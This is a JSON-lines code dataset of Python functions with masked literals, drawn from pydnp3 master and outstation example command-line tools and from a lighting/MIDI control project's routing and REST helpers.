{"signature": "def do_disable_unsol(self, line):", "body": "headers = [opendnp3.Header().AllObjects(<NUM_LIT>, <NUM_LIT:2>),<EOL>opendnp3.Header().AllObjects(<NUM_LIT>, <NUM_LIT:3>),<EOL>opendnp3.Header().AllObjects(<NUM_LIT>, <NUM_LIT:4>)]<EOL>self.application.master.PerformFunction(\"<STR_LIT>\",<EOL>opendnp3.FunctionCode.DISABLE_UNSOLICITED,<EOL>headers,<EOL>opendnp3.TaskConfig().Default())<EOL>", "docstring": "Perform the function DISABLE_UNSOLICITED. Command syntax is: disable_unsol", "id": "f1897:c0:m5"}
{"signature": "def do_mast_log_all(self, line):", "body": "self.application.master.SetLogFilters(openpal.LogFilters(opendnp3.levels.ALL_COMMS))<EOL>_log.debug('<STR_LIT>'.format(opendnp3.levels.ALL_COMMS))<EOL>", "docstring": "Set the master log level to ALL_COMMS. Command syntax is: mast_log_all", "id": "f1897:c0:m6"}
{"signature": "def do_mast_log_normal(self, line):", "body": "self.application.master.SetLogFilters(openpal.LogFilters(opendnp3.levels.NORMAL))<EOL>_log.debug('<STR_LIT>'.format(opendnp3.levels.NORMAL))<EOL>", "docstring": "Set the master log level to NORMAL. Command syntax is: mast_log_normal", "id": "f1897:c0:m7"}
{"signature": "def do_o1(self, line):", "body": "self.application.send_direct_operate_command(opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON),<EOL><NUM_LIT:5>,<EOL>command_callback)<EOL>", "docstring": "Send a DirectOperate BinaryOutput (group 12) index 5 LATCH_ON to the Outstation. Command syntax is: o1", "id": "f1897:c0:m8"}
{"signature": "def do_o2(self, line):", "body": "self.application.send_direct_operate_command(opendnp3.AnalogOutputInt32(<NUM_LIT:7>),<EOL><NUM_LIT:10>,<EOL>command_callback)<EOL>", "docstring": "Send a DirectOperate AnalogOutput (group 41) index 10 value 7 to the Outstation. Command syntax is: o2", "id": "f1897:c0:m9"}
{"signature": "def do_o3(self, line):", "body": "self.application.send_direct_operate_command_set(opendnp3.CommandSet(<EOL>[<EOL>opendnp3.WithIndex(opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON), <NUM_LIT:0>),<EOL>opendnp3.WithIndex(opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_OFF), <NUM_LIT:1>)<EOL>]),<EOL>command_callback<EOL>)<EOL>", "docstring": "Send a DirectOperate BinaryOutput (group 12) CommandSet to the Outstation. Command syntax is: o3", "id": "f1897:c0:m10"}
{"signature": "def do_restart(self, line):", "body": "self.application.master.Restart(opendnp3.RestartType.COLD, restart_callback)<EOL>", "docstring": "Request that the Outstation perform a cold restart. Command syntax is: restart", "id": "f1897:c0:m11"}
{"signature": "def do_s1(self, line):", "body": "self.application.send_select_and_operate_command(opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON),<EOL><NUM_LIT:8>,<EOL>command_callback)<EOL>", "docstring": "Send a SelectAndOperate BinaryOutput (group 12) index 8 LATCH_ON to the Outstation. Command syntax is: s1", "id": "f1897:c0:m12"}
{"signature": "def do_s2(self, line):", "body": "self.application.send_select_and_operate_command_set(opendnp3.CommandSet(<EOL>[<EOL>opendnp3.WithIndex(opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON), <NUM_LIT:0>)<EOL>]),<EOL>command_callback<EOL>)<EOL>", "docstring": "Send a SelectAndOperate BinaryOutput (group 12) CommandSet to the Outstation. Command syntax is: s2", "id": "f1897:c0:m13"}
{"signature": "def do_scan_all(self, line):", "body": "self.application.master.ScanAllObjects(opendnp3.GroupVariationID(<NUM_LIT:2>, <NUM_LIT:1>), opendnp3.TaskConfig().Default())<EOL>", "docstring": "Call ScanAllObjects. Command syntax is: scan_all", "id": "f1897:c0:m14"}
{"signature": "def do_scan_fast(self, line):", "body": "self.application.fast_scan.Demand()<EOL>", "docstring": "Demand an immediate fast scan. Command syntax is: scan_fast", "id": "f1897:c0:m15"}
{"signature": "def do_scan_range(self, line):", "body": "self.application.master.ScanRange(opendnp3.GroupVariationID(<NUM_LIT:1>, <NUM_LIT:2>), <NUM_LIT:0>, <NUM_LIT:3>, opendnp3.TaskConfig().Default())<EOL>", "docstring": "Do an ad-hoc scan of a range of points (group 1, variation 2, indexes 0-3). Command syntax is: scan_range", "id": "f1897:c0:m16"}
{"signature": "def do_scan_slow(self, line):", "body": "self.application.slow_scan.Demand()<EOL>", "docstring": "Demand an immediate slow scan. Command syntax is: scan_slow", "id": "f1897:c0:m17"}
{"signature": "def do_write_time(self, line):", "body": "millis_since_epoch = int((datetime.now() - datetime.utcfromtimestamp(<NUM_LIT:0>)).total_seconds() * <NUM_LIT>)<EOL>self.application.master.Write(opendnp3.TimeAndInterval(opendnp3.DNPTime(millis_since_epoch),<EOL><NUM_LIT:100>,<EOL>opendnp3.IntervalUnits.Seconds),<EOL><NUM_LIT:0>,                            <EOL>opendnp3.TaskConfig().Default())<EOL>", "docstring": "Write a TimeAndInterval to the Outstation. Command syntax is: write_time", "id": "f1897:c0:m18"}
{"signature": "def do_quit(self, line):", "body": "self.application.shutdown()<EOL>exit()<EOL>", "docstring": "Quit the command-line interface. Command syntax is: quit", "id": "f1897:c0:m19"}
{"signature": "def collection_callback(result=None):", "body": "print(\"<STR_LIT>\".format(<EOL>result.headerIndex,<EOL>result.index,<EOL>opendnp3.CommandPointStateToString(result.state),<EOL>opendnp3.CommandStatusToString(result.status)<EOL>))<EOL>", "docstring": ":type result: opendnp3.CommandPointResult", "id": "f1899:m0"}
{"signature": "def command_callback(result=None):", "body": "print(\"<STR_LIT>\".format(opendnp3.TaskCompletionToString(result.summary)))<EOL>result.ForeachItem(collection_callback)<EOL>", "docstring": ":type result: opendnp3.ICommandTaskResult", "id": "f1899:m1"}
{"signature": "def main():", "body": "<EOL>app = MyMaster(log_handler=MyLogger(),<EOL>listener=AppChannelListener(),<EOL>soe_handler=SOEHandler(),<EOL>master_application=MasterApplication())<EOL>_log.debug('<STR_LIT>')<EOL>app.shutdown()<EOL>_log.debug('<STR_LIT>')<EOL>exit()<EOL>", "docstring": "The Master has been started from the command line. Execute ad-hoc tests if desired.", "id": "f1899:m3"}
{"signature": "def send_direct_operate_command(self, command, index, callback=asiodnp3.PrintingCommandCallback.Get(),<EOL>config=opendnp3.TaskConfig().Default()):", "body": "self.master.DirectOperate(command, index, callback, config)<EOL>", "docstring": "Direct operate a single command\n\n:param command: command to operate\n:param index: index of the command\n:param callback: callback that will be invoked upon completion or failure\n:param config: optional configuration that controls normal callbacks and allows the user to be specified for SA", "id": "f1899:c0:m1"}
{"signature": "def send_direct_operate_command_set(self, command_set, callback=asiodnp3.PrintingCommandCallback.Get(),<EOL>config=opendnp3.TaskConfig().Default()):", "body": "self.master.DirectOperate(command_set, callback, config)<EOL>", "docstring": "Direct operate a set of commands\n\n:param command_set: set of command headers\n:param callback: callback that will be invoked upon completion or failure\n:param config: optional configuration that controls normal callbacks and allows the user to be specified for SA", "id": "f1899:c0:m2"}
{"signature": "def send_select_and_operate_command(self, command, index, callback=asiodnp3.PrintingCommandCallback.Get(),<EOL>config=opendnp3.TaskConfig().Default()):", "body": "self.master.SelectAndOperate(command, index, callback, config)<EOL>", "docstring": "Select and operate a single command\n\n:param command: command to operate\n:param index: index of the command\n:param callback: callback that will be invoked upon completion or failure\n:param config: optional configuration that controls normal callbacks and allows the user to be specified for SA", "id": "f1899:c0:m3"}
{"signature": "def send_select_and_operate_command_set(self, command_set, callback=asiodnp3.PrintingCommandCallback.Get(),<EOL>config=opendnp3.TaskConfig().Default()):", "body": "self.master.SelectAndOperate(command_set, callback, config)<EOL>", "docstring": "Select and operate a set of commands\n\n:param command_set: set of command headers\n:param callback: callback that will be invoked upon completion or failure\n:param config: optional configuration that controls normal callbacks and allows the user to be specified for SA", "id": "f1899:c0:m4"}
{"signature": "def Process(self, info, values):", "body": "visitor_class_types = {<EOL>opendnp3.ICollectionIndexedBinary: VisitorIndexedBinary,<EOL>opendnp3.ICollectionIndexedDoubleBitBinary: VisitorIndexedDoubleBitBinary,<EOL>opendnp3.ICollectionIndexedCounter: VisitorIndexedCounter,<EOL>opendnp3.ICollectionIndexedFrozenCounter: VisitorIndexedFrozenCounter,<EOL>opendnp3.ICollectionIndexedAnalog: VisitorIndexedAnalog,<EOL>opendnp3.ICollectionIndexedBinaryOutputStatus: VisitorIndexedBinaryOutputStatus,<EOL>opendnp3.ICollectionIndexedAnalogOutputStatus: VisitorIndexedAnalogOutputStatus,<EOL>opendnp3.ICollectionIndexedTimeAndInterval: VisitorIndexedTimeAndInterval<EOL>}<EOL>visitor_class = visitor_class_types[type(values)]<EOL>visitor = visitor_class()<EOL>values.Foreach(visitor)<EOL>for index, value in visitor.index_and_value:<EOL><INDENT>log_string = '<STR_LIT>'<EOL>_log.debug(log_string.format(info.gv, info.headerIndex, type(values).__name__, index, value))<EOL><DEDENT>", "docstring": "Process measurement data.\n\n:param info: HeaderInfo\n:param values: A collection of values received from the Outstation (various data types are possible).", "id": "f1899:c3:m1"}
{"signature": "def main():", "body": "app = OutstationApplication()<EOL>_log.debug('<STR_LIT>')<EOL>app.shutdown()<EOL>_log.debug('<STR_LIT>')<EOL>exit()<EOL>", "docstring": "The Outstation has been started from the command line. Execute ad-hoc tests if desired.", "id": "f1900:m0"}
{"signature": "@staticmethod<EOL><INDENT>def configure_stack():<DEDENT>", "body": "stack_config = asiodnp3.OutstationStackConfig(opendnp3.DatabaseSizes.AllTypes(<NUM_LIT:10>))<EOL>stack_config.outstation.eventBufferConfig = opendnp3.EventBufferConfig().AllTypes(<NUM_LIT:10>)<EOL>stack_config.outstation.params.allowUnsolicited = True<EOL>stack_config.link.LocalAddr = <NUM_LIT:10><EOL>stack_config.link.RemoteAddr = <NUM_LIT:1><EOL>stack_config.link.KeepAliveTimeout = openpal.TimeDuration().Max()<EOL>return stack_config<EOL>", "docstring": "Set up the OpenDNP3 configuration.", "id": "f1900:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def configure_database(db_config):<DEDENT>", "body": "db_config.analog[<NUM_LIT:1>].clazz = opendnp3.PointClass.Class2<EOL>db_config.analog[<NUM_LIT:1>].svariation = opendnp3.StaticAnalogVariation.Group30Var1<EOL>db_config.analog[<NUM_LIT:1>].evariation = opendnp3.EventAnalogVariation.Group32Var7<EOL>db_config.analog[<NUM_LIT:2>].clazz = opendnp3.PointClass.Class2<EOL>db_config.analog[<NUM_LIT:2>].svariation = opendnp3.StaticAnalogVariation.Group30Var1<EOL>db_config.analog[<NUM_LIT:2>].evariation = opendnp3.EventAnalogVariation.Group32Var7<EOL>db_config.binary[<NUM_LIT:1>].clazz = opendnp3.PointClass.Class2<EOL>db_config.binary[<NUM_LIT:1>].svariation = opendnp3.StaticBinaryVariation.Group1Var2<EOL>db_config.binary[<NUM_LIT:1>].evariation = opendnp3.EventBinaryVariation.Group2Var2<EOL>db_config.binary[<NUM_LIT:2>].clazz = opendnp3.PointClass.Class2<EOL>db_config.binary[<NUM_LIT:2>].svariation = opendnp3.StaticBinaryVariation.Group1Var2<EOL>db_config.binary[<NUM_LIT:2>].evariation = opendnp3.EventBinaryVariation.Group2Var2<EOL>", "docstring": "Configure the Outstation's database of input point definitions.\n\nConfigure two Analog points (group/variation 30.1) at indexes 1 and 2.\nConfigure two Binary points (group/variation 1.2) at indexes 1 and 2.", "id": "f1900:c0:m2"}
{"signature": "def shutdown(self):", "body": "<EOL>self.manager.Shutdown()<EOL>", "docstring": "Execute an orderly shutdown of the Outstation.\n\nThe debug messages may be helpful if errors occur during shutdown.", "id": "f1900:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def get_outstation(cls):<DEDENT>", "body": "return cls.outstation<EOL>", "docstring": "Get the singleton instance of IOutstation.", "id": "f1900:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def set_outstation(cls, outstn):<DEDENT>", "body": "cls.outstation = outstn<EOL>", "docstring": "Set the singleton instance of IOutstation, as returned from the channel's AddOutstation call.\n\nMaking IOutstation available as a singleton allows other classes (e.g. the command-line UI)\nto send commands to it -- see apply_update().", "id": "f1900:c0:m5"}
{"signature": "def ColdRestartSupport(self):", "body": "_log.debug('<STR_LIT>')<EOL>return opendnp3.RestartMode.UNSUPPORTED<EOL>", "docstring": "Return a RestartMode enumerated value indicating whether cold restart is supported.", "id": "f1900:c0:m6"}
{"signature": "def GetApplicationIIN(self):", "body": "application_iin = opendnp3.ApplicationIIN()<EOL>application_iin.configCorrupt = False<EOL>application_iin.deviceTrouble = False<EOL>application_iin.localControl = False<EOL>application_iin.needTime = False<EOL>iin_field = application_iin.ToIIN()<EOL>_log.debug('<STR_LIT>'.format(iin_field.LSB,<EOL>iin_field.MSB))<EOL>return application_iin<EOL>", "docstring": "Return the application-controlled IIN field.", "id": "f1900:c0:m7"}
{"signature": "def WarmRestartSupport(self):", "body": "_log.debug('<STR_LIT>')<EOL>return opendnp3.RestartMode.UNSUPPORTED<EOL>", "docstring": "Return a RestartMode enumerated value indicating whether a warm restart is supported.", "id": "f1900:c0:m11"}
{"signature": "@classmethod<EOL><INDENT>def process_point_value(cls, command_type, command, index, op_type):<DEDENT>", "body": "_log.debug('<STR_LIT>'.format(index, command))<EOL>", "docstring": "A PointValue was received from the Master. Process its payload.\n\n:param command_type: (string) Either 'Select' or 'Operate'.\n:param command: A ControlRelayOutputBlock or else a wrapped data value (AnalogOutputInt16, etc.).\n:param index: (integer) DNP3 index of the payload's data definition.\n:param op_type: An OperateType, or None if command_type == 'Select'.", "id": "f1900:c0:m12"}
{"signature": "def apply_update(self, value, index):", "body": "_log.debug('<STR_LIT>'.format(type(value).__name__, index, value.value))<EOL>builder = asiodnp3.UpdateBuilder()<EOL>builder.Update(value, index)<EOL>update = builder.Build()<EOL>OutstationApplication.get_outstation().Apply(update)<EOL>", "docstring": "Record an opendnp3 data value (Analog, Binary, etc.) in the outstation's database.\n\n    The data value gets sent to the Master as a side-effect.\n\n:param value: An instance of Analog, Binary, or another opendnp3 data value.\n:param index: (integer) Index of the data definition in the opendnp3 database.", "id": "f1900:c0:m13"}
{"signature": "def Select(self, command, index):", "body": "OutstationApplication.process_point_value('<STR_LIT>', command, index, None)<EOL>return opendnp3.CommandStatus.SUCCESS<EOL>", "docstring": "The Master sent a Select command to the Outstation. Handle it.\n\n:param command: ControlRelayOutputBlock,\n                AnalogOutputInt16, AnalogOutputInt32, AnalogOutputFloat32, or AnalogOutputDouble64.\n:param index: int\n:return: CommandStatus", "id": "f1900:c1:m2"}
{"signature": "def Operate(self, command, index, op_type):", "body": "OutstationApplication.process_point_value('<STR_LIT>', command, index, op_type)<EOL>return opendnp3.CommandStatus.SUCCESS<EOL>", "docstring": "The Master sent an Operate command to the Outstation. Handle it.\n\n:param command: ControlRelayOutputBlock,\n                AnalogOutputInt16, AnalogOutputInt32, AnalogOutputFloat32, or AnalogOutputDouble64.\n:param index: int\n:param op_type: OperateType\n:return: CommandStatus", "id": "f1900:c1:m3"}
{"signature": "def startup(self):", "body": "print('<STR_LIT>')<EOL>self.do_menu('<STR_LIT>')<EOL>self.cmdloop('<STR_LIT>')<EOL>exit()<EOL>", "docstring": "Display the command-line interface's menu and issue a prompt.", "id": "f1901:c0:m1"}
{"signature": "def do_a(self, line):", "body": "index, value_string = self.index_and_value_from_line(line)<EOL>if index and value_string:<EOL><INDENT>try:<EOL><INDENT>self.application.apply_update(opendnp3.Analog(float(value_string)), index)<EOL><DEDENT>except ValueError:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Send the Master an AnalogInput (group 32) value. Command syntax is: a index value", "id": "f1901:c0:m2"}
{"signature": "def do_a2(self, line):", "body": "self.application.apply_update(opendnp3.Analog(<NUM_LIT:2>), index=<NUM_LIT:4>)<EOL>", "docstring": "Send the Master an AnalogInput (group 32) value of 2 at index 4. Command syntax is: a2", "id": "f1901:c0:m3"}
{"signature": "def do_b(self, line):", "body": "index, value_string = self.index_and_value_from_line(line)<EOL>if index and value_string:<EOL><INDENT>if value_string.lower() == '<STR_LIT:true>' or value_string.lower() == '<STR_LIT:false>':<EOL><INDENT>self.application.apply_update(opendnp3.Binary(value_string == '<STR_LIT:true>'), index)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Send the Master a BinaryInput (group 2) value. Command syntax is: 'b index true' or 'b index false", "id": "f1901:c0:m4"}
{"signature": "def do_b0(self, line):", "body": "self.application.apply_update(opendnp3.Binary(False), index=<NUM_LIT:6>)<EOL>", "docstring": "Send the Master a BinaryInput (group 2) value of False at index 6. Command syntax is: b0", "id": "f1901:c0:m5"}
{"signature": "def do_c(self, line):", "body": "index, value_string = self.index_and_value_from_line(line)<EOL>if index and value_string:<EOL><INDENT>try:<EOL><INDENT>self.application.apply_update(opendnp3.Counter(int(value_string)), index)<EOL><DEDENT>except ValueError:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Send the Master a Counter (group 22) value. Command syntax is: c index value", "id": "f1901:c0:m6"}
{"signature": "def do_d(self, line):", "body": "index = self.index_from_line(line)<EOL>if index:<EOL><INDENT>self.application.apply_update(opendnp3.DoubleBitBinary(opendnp3.DoubleBit.DETERMINED_ON), index)<EOL><DEDENT>", "docstring": "Send the Master a DoubleBitBinaryInput (group 4) value of DETERMINED_ON. Command syntax is: d index", "id": "f1901:c0:m7"}
{"signature": "def do_menu(self, line):", "body": "print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>", "docstring": "Display a menu of command-line options. Command syntax is: menu", "id": "f1901:c0:m8"}
{"signature": "def do_quit(self, line):", "body": "self.application.shutdown()<EOL>exit()<EOL>", "docstring": "Quit the command line interface. Command syntax is: quit", "id": "f1901:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def index_and_value_from_line(line):<DEDENT>", "body": "try:<EOL><INDENT>index = int(line.split('<STR_LIT:U+0020>')[<NUM_LIT:0>])<EOL><DEDENT>except (ValueError, IndexError):<EOL><INDENT>print('<STR_LIT>')<EOL>index = None<EOL><DEDENT>try:<EOL><INDENT>value_string = line.split('<STR_LIT:U+0020>')[<NUM_LIT:1>]<EOL><DEDENT>except (ValueError, IndexError):<EOL><INDENT>print('<STR_LIT>')<EOL>value_string = None<EOL><DEDENT>return index, value_string<EOL>", "docstring": "Parse an index (integer) and value (string) from command line args and return them.", "id": "f1901:c0:m10"}
{"signature": "@staticmethod<EOL><INDENT>def index_from_line(line):<DEDENT>", "body": "try:<EOL><INDENT>index = int(line.split('<STR_LIT:U+0020>')[<NUM_LIT:0>])<EOL><DEDENT>except (ValueError, IndexError):<EOL><INDENT>print('<STR_LIT>')<EOL>index = None<EOL><DEDENT>return index<EOL>", "docstring": "Parse an index (integer) from command line args and return it.", "id": "f1901:c0:m11"}
{"signature": "def __init__(self, routing=None, default=None, errors='<STR_LIT>',<EOL>python_path='<STR_LIT>', verbose=False,<EOL>pre_routing=None):", "body": "super().__init__()<EOL>self.verbose = verbose<EOL>self.receive = LogErrors(self._receive, errors)<EOL>default = dict(self.DEFAULT, **(default or {}))<EOL>self.pre_routing = ActionList(pre_routing)<EOL>self.routing = Routing(routing or {}, default or {}, python_path)<EOL>", "docstring": ":param Address pre_routing: This Address is set with with the message\n    after the message is received and converted, but before it is\n    routed.\n:param errors: either a number, indicating how many errors to report\n   before ignoring them, or one of these strings:\n   'raise', meaning to raise an exception\n   'ignore', meaning to ignore all errors\n   'report', meaning to report all errors", "id": "f1905:c0:m0"}
{"signature": "def _receive(self, msg):", "body": "msg = self._convert(msg)<EOL>if msg is None:<EOL><INDENT>return<EOL><DEDENT>str_msg = self.verbose and self._msg_to_str(msg)<EOL>if self.verbose and log.is_debug():<EOL><INDENT>log.debug('<STR_LIT>', str_msg)<EOL><DEDENT>if self.pre_routing:<EOL><INDENT>self.pre_routing.receive(msg)<EOL><DEDENT>receiver, msg = self.routing.receive(msg)<EOL>if receiver:<EOL><INDENT>receiver.receive(msg)<EOL>if self.verbose:<EOL><INDENT>log.info('<STR_LIT>', str_msg[:<NUM_LIT>], msg,<EOL>repr(receiver))<EOL><DEDENT><DEDENT>", "docstring": "Receive a message from the input source and perhaps raise an Exception.", "id": "f1905:c0:m4"}
{"signature": "def _convert(self, msg):", "body": "raise NotImplementedError<EOL>", "docstring": "Convert the message to a Control-specific format", "id": "f1905:c0:m5"}
{"signature": "def _make_thread(self):", "body": "pass<EOL>", "docstring": "Returns a new thread to run the loop for this control source.", "id": "f1905:c0:m6"}
{"signature": "def messages(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Should yield a sequence of messages from the input source.", "id": "f1905:c1:m1"}
{"signature": "def __init__(self, routing, default, python_path):", "body": "def make(x):<EOL><INDENT>if isinstance(x, (list, str)):<EOL><INDENT>return ActionList(x)<EOL><DEDENT>assert isinstance(x, dict)<EOL>if '<STR_LIT>' in x or '<STR_LIT>' in x:<EOL><INDENT>x = dict(default, **x)<EOL>return construct.construct_type(x, python_path)<EOL><DEDENT>return {k: make(v) for k, v in x.items()}<EOL><DEDENT>routing = flatten.unflatten(routing)<EOL>self.routing = make(routing)<EOL>", "docstring": ":param dict routing: `routing` is a dict that maps addresses\n   to lists of actions.\n\n   The values in the input dictionary `routing` are recursively visited\n   to build the routing table:\n\n   * values that are strings or lists are used to construct ActionLists\n   * dictionaries that contain \"typename\" or \"datatype\" keys are\n     used to construct a class of that type.\n   * otherwise, dictionaries are visited recursively\n   * all other types are forbidden", "id": "f1907:c0:m0"}
{"signature": "def set_project(self, project):", "body": "def visit(x):<EOL><INDENT>set_project = getattr(x, '<STR_LIT>', None)<EOL>if set_project:<EOL><INDENT>set_project(project)<EOL><DEDENT>values = getattr(x, '<STR_LIT>', lambda: ())<EOL>for v in values():<EOL><INDENT>visit(v)<EOL><DEDENT><DEDENT>visit(self.routing)<EOL>", "docstring": "Set the base project for routing.", "id": "f1907:c0:m1"}
{"signature": "def receive(self, msg):", "body": "x = self.routing<EOL>while not isinstance(x, ActionList):<EOL><INDENT>if not x or not msg:<EOL><INDENT>return None, msg<EOL><DEDENT>if not isinstance(x, dict):<EOL><INDENT>raise ValueError('<STR_LIT>' % type(x))<EOL><DEDENT>_, value = msg.popitem(last=False)<EOL>x = x.get(str(value))<EOL><DEDENT>return x, msg<EOL>", "docstring": "Returns a (receiver, msg) pair, where receiver is `None` if no route for\nthe message was found, or otherwise an object with a `receive` method\nthat can accept that `msg`.", "id": "f1907:c0:m2"}
{"signature": "def single(method):", "body": "@functools.wraps(method)<EOL>def single(self, address, value=None):<EOL><INDENT>address = urllib.parse.unquote_plus(address)<EOL>try:<EOL><INDENT>error = NO_PROJECT_ERROR<EOL>if not self.project:<EOL><INDENT>raise ValueError<EOL><DEDENT>error = BAD_ADDRESS_ERROR<EOL>ed = editor.Editor(address, self.project)<EOL>if value is None:<EOL><INDENT>error = BAD_GETTER_ERROR<EOL>result = method(self, ed)<EOL><DEDENT>else:<EOL><INDENT>error = BAD_SETTER_ERROR<EOL>result = method(self, ed, value)<EOL><DEDENT>result = {'<STR_LIT:value>': result}<EOL><DEDENT>except Exception as e:<EOL><INDENT>traceback.print_exc()<EOL>msg = '<STR_LIT>' % (error.format(**locals()), e)<EOL>result = {'<STR_LIT:error>': msg}<EOL><DEDENT>return flask.jsonify(result)<EOL><DEDENT>return single<EOL>", "docstring": "Decorator for RestServer methods that take a single address", "id": "f1908:m0"}
{"signature": "def multi(method):", "body": "@functools.wraps(method)<EOL>def multi(self, address='<STR_LIT>'):<EOL><INDENT>values = flask.request.values<EOL>address = urllib.parse.unquote_plus(address)<EOL>if address and values and not address.endswith('<STR_LIT:.>'):<EOL><INDENT>address += '<STR_LIT:.>'<EOL><DEDENT>result = {}<EOL>for a in values or '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>if not self.project:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>ed = editor.Editor(address + a, self.project)<EOL>result[address + a] = {'<STR_LIT:value>': method(self, ed, a)}<EOL><DEDENT>except:<EOL><INDENT>if self.project:<EOL><INDENT>traceback.print_exc()<EOL><DEDENT>result[address + a] = {'<STR_LIT:error>': '<STR_LIT>' % a}<EOL><DEDENT><DEDENT>return flask.jsonify(result)<EOL><DEDENT>return multi<EOL>", "docstring": "Decorator for RestServer methods that take multiple addresses", "id": "f1908:m1"}
{"signature": "def __init__(self, segments=(), period=None, **kwds):", "body": "self.segments = _segments.Segments(segments)<EOL>period = period or self.segments.total_time<EOL>super().__init__(period=period, **kwds)<EOL>", "docstring": "If period is None, then it is set to be the length of the\nsegments.\n\nEach segment is either a single number, indicating a level, or a pair of\nnumbers, indicating a level and a time.  Levels without a time are\nassigned the average delay.", "id": "f1915:c7:m0"}
{"signature": "def __init__(self, use_note_off=True, **kwds):", "body": "super().__init__(**kwds)<EOL>self.use_note_off = use_note_off<EOL>", "docstring": ":param use_note_off:\n    If False, map note_offs to note_ons with velocity 0\n    If True, map note_ons with velocity 0 to note_offs\n    If None, do not change none_ons or note_offs", "id": "f1916:c0:m0"}
{"signature": "def __init__(self, omit=None, normalizers=None, keys_by_type=None,<EOL>accept=None, reject=None, auto_omit=True):", "body": "def to_set(x):<EOL><INDENT>if x is None:<EOL><INDENT>return set()<EOL><DEDENT>if isinstance(x, (list, tuple)):<EOL><INDENT>return set(x)<EOL><DEDENT>return set([x])<EOL><DEDENT>def make_match(m):<EOL><INDENT>return m and {k: to_set(v) for k, v in m.items()}<EOL><DEDENT>self.accept, self.reject = make_match(accept), make_match(reject)<EOL>self.omit = to_set(omit)<EOL>if auto_omit and self.accept:<EOL><INDENT>self.omit.update(k for k, v in self.accept.items() if len(v) == <NUM_LIT:1>)<EOL><DEDENT>self.normalizers = normalizers or {}<EOL>if keys_by_type is None:<EOL><INDENT>self.keys_by_type = None<EOL><DEDENT>else:<EOL><INDENT>self.keys_by_type = {}<EOL>for k, v in keys_by_type.items():<EOL><INDENT>if isinstance(v, str):<EOL><INDENT>v = [v]<EOL><DEDENT>self.keys_by_type[k] = tuple(i for i in v if i not in self.omit)<EOL><DEDENT><DEDENT>", "docstring": "Arguments\n\nomit -- A list of keys that will not be extracted.\n\nnormalizers -- Some keys also need to be \"normalized\" -\n    scaled and offset so they are between 0 and 1, or -1 and 1.\n    The `normalizers` table maps key names to a function that\n    normalizes the value of that key.\n\nkeys_by_type -- `keys_by_type` is a dictionary from the `type` in an\n    incoming message to a list of message keys to be extracted\n\naccept -- maps keys to a value or a list of values that are\n    accepted for that key.  A message has to match *all* entries in\n    `accept` to be accepted.\n\nreject -- map key to a value or a list of values that are not\n    accepted for that key.  A message is rejected if it matches *any*\n    entry in the reject map.\n\nauto_omit -- if True, omit all keys in `accept` that only have one\n    possible value.\n\n    auto_omit=True, the default, is probably more useful: if you\n    request data for channel=1, type=note_on then you probably don't\n    want to see channel=1, type=note_on with each message.", "id": "f1918:c0:m0"}
{"signature": "def extract(self, msg):", "body": "def normal(key):<EOL><INDENT>v = msg.get(key)<EOL>if v is None:<EOL><INDENT>return v<EOL><DEDENT>normalizer = self.normalizers.get(key, lambda x: x)<EOL>return normalizer(v)<EOL><DEDENT>def odict(keys):<EOL><INDENT>return collections.OrderedDict((k, normal(k)) for k in keys)<EOL><DEDENT>def match(m):<EOL><INDENT>return (msg.get(k) in v for k, v in m.items()) if m else ()<EOL><DEDENT>accept = all(match(self.accept))<EOL>reject = any(match(self.reject))<EOL>if reject or not accept:<EOL><INDENT>keys = ()<EOL><DEDENT>elif self.keys_by_type is None:<EOL><INDENT>keys = [k for k in msg.keys() if k not in self.omit]<EOL><DEDENT>else:<EOL><INDENT>keys = self.keys_by_type.get(msg.get('<STR_LIT:type>'))<EOL><DEDENT>return odict(keys)<EOL>", "docstring": "Yield an ordered dictionary if msg['type'] is in keys_by_type.", "id": "f1918:c0:m1"}
{"signature": "def receive(self, msg):", "body": "if self.edit_queue:<EOL><INDENT>self.edit_queue.put_edit(self._set, msg)<EOL><DEDENT>else:<EOL><INDENT>self._set(msg)<EOL><DEDENT>", "docstring": "Receives a message, and either sets it immediately, or puts it on the\nedit queue if there is one.", "id": "f1924:c0:m2"}
{"signature": "def start(self, threaded=None):", "body": "if threaded is not None:<EOL><INDENT>self.threaded = threaded<EOL><DEDENT>run = {'<STR_LIT>': {'<STR_LIT>': False}}<EOL>self.project = project.project(<EOL>self.desc, run, root_file=self.project_file)<EOL>self._run = self.project.run<EOL>self._runner.start(self.threaded)<EOL>", "docstring": "Creates and starts the project.", "id": "f1925:c0:m1"}
{"signature": "def stop(self=None):", "body": "if not self:<EOL><INDENT>instance = getattr(Runner.instance(), '<STR_LIT>', None)<EOL>self = instance and instance()<EOL>if not self:<EOL><INDENT>return<EOL><DEDENT><DEDENT>self._runner.stop()<EOL>if self.project:<EOL><INDENT>self.project.stop()<EOL>self.project = None<EOL><DEDENT>", "docstring": "Stop the builder if it's running.", "id": "f1925:c0:m2"}
{"signature": "def clear(self):", "body": "self.stop()<EOL>super().clear()<EOL>", "docstring": "Stop the project if it's running and clear the project description", "id": "f1925:c0:m3"}
{"signature": "@property<EOL><INDENT>def is_running(self):<DEDENT>", "body": "return self._runner.is_running<EOL>", "docstring": "True if the Builder is currently running", "id": "f1925:c0:m4"}
